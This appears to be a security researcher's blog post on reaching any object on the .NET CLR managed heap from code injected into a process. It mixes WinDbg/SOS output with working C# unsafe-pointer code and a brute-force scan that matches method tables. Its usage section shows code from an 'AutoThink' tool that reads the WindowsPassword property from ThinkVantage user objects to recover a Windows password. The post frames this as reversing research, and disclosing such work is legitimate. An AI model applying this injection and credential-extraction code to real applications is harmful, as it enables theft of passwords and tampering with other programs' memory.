.NET Heap Objects
This post is meant to be read in conjunction with my whitepaper, Acquiring .NET Objects from the Managed Heap located here, and I will be discussing how to find any object on the CLR heap in .NET both both x86 and x64 and CLR runtime 2.0 and 4.0. Objects contain a plethora of information useful in attacking / reversing such as what fields (instance and static) and the instance methods it contains. I will show how to construct an arbitrary object and how that object can be used to locate any other object of that type on the heap, much like you would with SOS Debugging Extension (SOS.dll) in Windbg.
It is worth noting what versions of .NET exist and what CLR they operate in…
| CLR Version | .NET Version |
|-------------|---------------|
| 1.0 | 1.0 |
| 1.1 | 1.1 |
| 2.0 | 2.0, 3.0, 3.5 |
| 4.0 | 4.0, 4.5 |
We will only care about the major version of the runtime for the remainder of this post (each .NET version has several releases).
Environment.Version.ToString().ElementAt(0);
Also, I will only be discussing the 2.0 and 4.0 CLR version as I do not feel 1.0 is relevant for attacking modern applications. s
In order to start finding objects, it must be known how to find them and what they look like in raw memory. For this we will:
Setup Windbg
.NET CLR 2.0 use mscorwks.dll
.NET versions 4.0+ use clr.dll
loadby <dll> sos
Naveen Srinivasan has a script to automatically detect the version of the CLR and which sos.dll to use…
!for_each_module .if(($sicmp( "@#ModuleName" , "mscorwks") = 0) ) {.loadby sos mscorwks} .elsif ($sicmp( "@#ModuleName" , "clr") = 0) {.loadby sos clr}
Also, having windbg symbols setup is never a bad idea…
0:009>!.sympath SRV*c:\localsymbols*http://msdl.microsoft.com/download/symbols
x86
CLR 2.0 and Object Primer
Now that we have Windbg running how we need it to figure out where objects live and look like, we can begin to examine them.
Start with !Dumpheap to find a method table of interest.
0:009>!dumpheap
Address MT Size
[snip]
00000000126248d8 000007fef66cfdd0 207040
0000000012657198 0000000001d9fe30 24 Free
00000000126571b0 000007fef66cfdd0 207040
0000000012689a70 0000000001d9fe30 24 Free
total 25923 objects
Statistics:
MT Count TotalSize Class Name
000007fef670f5f0 1 24 System.Reflection.DefaultMemberAttribute
000007fef670ed70 1 24 System.Security.Permissions.SecurityPermissionFlag
000007fef670e3b8 1 24 System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib]]
000007fef670b8d8 1 24 System.Resources.FastResourceComparer
[snip]
000007ff00223478 3 120 memoryHijacker.shellcode.dataBox
Using a MethodTable (MT) address from above, run !dumpheap -mt <address>
0:009> !dumpheap -mt 000007ff00223478
Address MT Size
00000000026f5818 000007ff00223478 40
00000000026f5880 000007ff00223478 40
00000000026f6908 000007ff00223478 40
total 3 objects
Statistics:
MT Count TotalSize Class Name
000007ff00223478 3 120 memoryHijacker.shellcode.dataBox
Total 3 objects
Use !dumpobj / !do on an objects address to show information about it
!batch
0:009> !dumpobj 00000000026f5818
Name: memoryHijacker.shellcode.dataBox
MethodTable: 000007ff00223478
EEClass: 000007ff001f5968
Size: 40(0x28) bytes
(C:\Users\Topher\Documents\memory-hijacker\memoryHijacker\memoryHijacker\bin\Debug\memoryHijacker.exe)
Fields:
MT Field Offset Type VT Attr Value Name
000007fef66c7d90 4000183 8 System.String 0 instance 00000000026f5748 name
000007fef66cfdd0 4000184 10 System.Byte[] 0 instance 00000000026f5418 data
000007fef66cf000 4000185 18 System.Int32 1 instance 0 indexToStartCleaning
Implementation
That’s cool and all.. but how about in a running application?
First, an object of a given type will need to be construed so the Method Table address can be located. This is easy with .NET Reflection and can be done like so for any object (Ones requiring parameters is a little trickier).
Type reference = typeof(GrayFrost.testClass);
ConstructorInfo ctor = reference.GetConstructor (Type.EmptyTypes);
object wantedObject = ctor.Invoke(new object[]{});
To get the address of an object we have access to, we can use a local methods parameter addresses to trick an object into an Intptr. Note the use of unsafe code… that doesn’t matter when injected into an application as it is just a compile option!
public static IntPtr getObjectAddr(object wantedObject)
{
IntPtr objectPointer = IntPtr.Zero;
unsafe
{
objectPointer = *(&objectPointer - 3);
}
return objectPointer;
}
Using windbg, the offset of &objectPointer was somewhere in memory and I used !dumpobject on each location until I discovered for both the 2.0 and 4.0 CLR on x86 the wantedObject was at a negative offset of 3.
This gives the address of a raw object! Turns out in the .NET CLR Objects are actually just pointers back to their object table!
#Address of refer:109892756 with value of 43425996
!batch
0:015> !do 0n43425996
Name: memoryHijacker.abc
MethodTable: 00684820
EEClass: 01141440
Size: 12(0xc) bytes
(C:\Blob\memoryHijacker.exe)
Fields:
None
So we clearly now have an object pointer to the PURE object for whatever we constructed… however, how do we find all objects of this type? We can use the method table!
The method table is the first 4 bytes of the address of the object
0:015> db 0n43425996
0296a0cc 20 48 68 00 00 00 00 00-00 00 00 00 30 55 03 6f Hh.........0U.o
20 48 68 00 changed for endianess is 00684820 which matches the method table from above.
Dumping the method table some more information about objects, as shown above.
0:015> !dumpheap -mt 00684820
Address MT Size
0296a0cc 00684820 12
total 1 objects
Statistics:
MT Count TotalSize Class Name
00684820 1 12 memoryHijacker.abc
Total 1 objects
This just tells us the address of the pure object, 0296a0cc, which we had from above. Thus, it is shown that each object of a given type will have the same Method Table pointer in the first four bytes of the object table.
What if we had more than one of these objects?
I made three more..
0:016> !dumpheap -mt 00684820
Address MT Size
0296a0cc 00684820 12
029b05d0 00684820 12
029bcfd0 00684820 12
029d57c8 00684820 12
total 4 objects
Statistics:
MT Count TotalSize Class Name
00684820 4 48 memoryHijacker.abc
Total 4 objects
And we see the original one, at 0296a0cc, and then three more..
So what?
Well, we now can constructed an object, grab the raw pointer to it (which is somewhere within what I call the ‘object heap’) and look at the address of its Method Table.
How can we grab objects that are already instantiated?
I use a brute force approach to locate other objects of a type. Because I now know where the object heap lives, I can do a brute force scan.
By taking the address of the object I knew about, I can search down the heap by jumping over the size of each object and travse up the heap in 4 byte increments. Each object location will be compared with the 4 bytes address to the Method Table the original object had.
Pseudo Code:
While valid memory at positive offset from object
Obtain object size and jump to next object
Check first four bytes for matching Method Table
IF Method Tables match
Add object IntPtr to list
While valid memory at negative offset from object
Check each 4 byte MT address to see if its address is the same as the wantedObjects
IF MethodTables match
Add object IntPtr to list
The most questionable part of the above pseudo code is getting an IntPtr back to an actual object in .NET. We already looked at manipulating pointers to take an objects IntPtr and we can use similar logic to put an IntPtr back into an object.
public static object GetInstance(IntPtr ptrIN)
{
object refer = ptrIN.GetType();
IntPtr pointer = ptrIN;
unsafe
{
(*(&pointer - 1 )) = *(&pointer);
}
return refer;
}
4.0 CLR
!dumpheap still shows objects around the same addr range as CLR 2.0… hover around the ~02700000 range and grows in both directions
Does the 4.0 CLR MethodTable information change that is used for a signature of the object?
0:008> !dumpheap -mt 0013945c
Address MT Size
027e2918 0013945c 616
Statistics:
MT Count TotalSize Class Name
0013945c 1 616 memoryHijacker.methodEditorGUI
Total 1 objects
0:008> !do 027e2918
Name: memoryHijacker.methodEditorGUI
MethodTable: 0013945c
EEClass: 002c6654
Size: 616(0x268) bytes
0:008> db 027e2918
027e2918 5c 94 13 00
First four bytes are still the Method Table!
Rinse and repeat steps from the 2.0 CLR. Note that the pointer offsets will change, though.
public static int clrSub = 1;
if (clrVersion == '2')
clrSub = 1;
else if (clrVersion == '4')
clrSub = 2;
public static object GetInstance(IntPtr ptrIN)
{
object refer = ptrIN.GetType();
IntPtr pointer = ptrIN;
unsafe
{
(*(&pointer - clrSub)) = *(&pointer);
}
return refer;
}
x64
2.0 CLR
Following the same steps as x86, let’s figure out where objects are and what their structure looks like.
0:008> !dumpheap
MT Count TotalSize Class Name
000007ff002051f0 1 24 memoryHijacker.abc
0:008> !dumpheap -mt 000007ff002051f0
Address MT Size
0000000002f2e610 000007ff002051f0 24
total 1 objects
0:008> !do 0000000002f2e610
Name: memoryHijacker.abc
MethodTable: 000007ff002051f0
EEClass: 000007ff002211a8
Size: 24(0x18) bytes
(C:\Users\Topher\Documents\memory-hijacker\memoryHijacker\memoryHijacker\bin\Debug\memoryHijacker.exe)
Fields:
None
0:008> dd 0000000002f2e610
00000000`02f2e610 002051f0 000007ff 00000000 00000000
[snip]
1st 8 bytes = Method Table!
000007ff002051f0 = Method Table
002051f0 000007ff changed for endianess is 000007ff002051f0 which matches the method table from above.
So where is this stuff on the stack?
After much tweaking with my local variable range, I discovered that if there are two local variables between the object then it will present itself!
IntPtr objectPointer = (IntPtr)4;
object refer = wantedObject;
IntPtr objectPointer2 = (IntPtr)8;
unsafe
{
System.Windows.Forms.MessageBox.Show("Address of objectPointer:" + (uint)(&objectPointer) + " address of objectPointer2: " + (uint)(&objectPointer2));
}
Address of objectPointer: 0059d9a0 address of objectPointer2: 0059d9b0
In Windbg…
0:008> dd 0059d9a0
00000000`0059d9a0 00000004 00000000 02f2e610 00000000
00000000`0059d9b0 00000008 00000000 00000000 00000000
and we see our object at 0000000002f2e610
0:008> !do 02f2e610
Name: memoryHijacker.abc
MethodTable: 000007ff002051f0
EEClass: 000007ff002211a8
Size: 24(0x18) bytes
(C:\Users\Topher\Documents\memory-hijacker\memoryHijacker\memoryHijacker\bin\Debug\memoryHijacker.exe)
Fields:
None
So now we can say from objectPointer, we need to go one in to get the object pointer
objectPointer = *(&objectPointer + 1);
Success! We now have the pointer to our 64bit object of memoryHijacker.abc
We can use the same method as our 32bit signature and just compare bytes of the Method Table. Note everything is now 8 bytes instead of 4 as we are in x64 land.
And to restore the object pointer when we have a match just reverse what we did to find the raw object IntPtr.
public static IntPtr getObjectAddr64(object wantedObject)
{
IntPtr objectPointer = (IntPtr)4;
object refer = wantedObject;
IntPtr objectPointer2 = (IntPtr)8;
unsafe
{
objectPointer = *(&objectPointer + clrSub);
}
return objectPointer;
}
4.0 CLR
The 4.0 CLR does not requiring changing the x64 signature!
Usage
AutoThink has the source code required to launch the automated attack against ThinkVantage to recover a windows password. The key points are
1.) Utilizing reflection to construct the object of interest
Type reference = typeof(QlClr.User);
ConstructorInfo[] ctor = reference.GetConstructors(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic);
object wantedObj = ctor[0].Invoke(new object[2] { null, null });
2.) Obtaining all objects on the managed heap of the matching type
object[] allUsers = heapObjects.getAddresses(wantedObj);
3.) Finding the property of interest… in this case, the WindowsPassword (the 15th location of the object’s properties).
object thisObj = objectFound.targetObject;
PropertyInfo[] properties = thisObj.GetType().GetProperties(BindingFlags.Static | BindingFlags.Public | BindingFlags.Instance | BindingFlags.NonPublic);
object ret = null;
try
{
System.Threading.Thread call = new System.Threading.Thread
(
() =>
{
try { ret = properties[14].GetValue(thisObj, null); } }
catch { return; }
}
);
call.Start();
System.Threading.Thread.Sleep(10);
call.Abort();
Console.WriteLine(ret.ToString());
System.Windows.Forms.MessageBox.Show(ret.ToString());
}
It is important to note that I wrapped the calls for getting properties and fields in threads. This is because occasionally the “.toString()” method causes complications and results in an application hang or crash. This practice makes sure that our target won’t do either.
/resources/grayStorm/autoThink.mp4
Feel free to read the code in the git repo and ask me if you have questions about it!
Conclusion
Objects on the .NET Managed Heap can be acquired by an attacker once an application capable of performing the above techniques is introduced into an applications memory space. If an object is instantiated locally in order to find its Method Table, the heap can be brute forced to locate any object declared in the applications runtime!
Utilizing more reflection, instance methods can be invoked and variables can be changed. The limits of locating runtime objects is up to the user!
Have fun.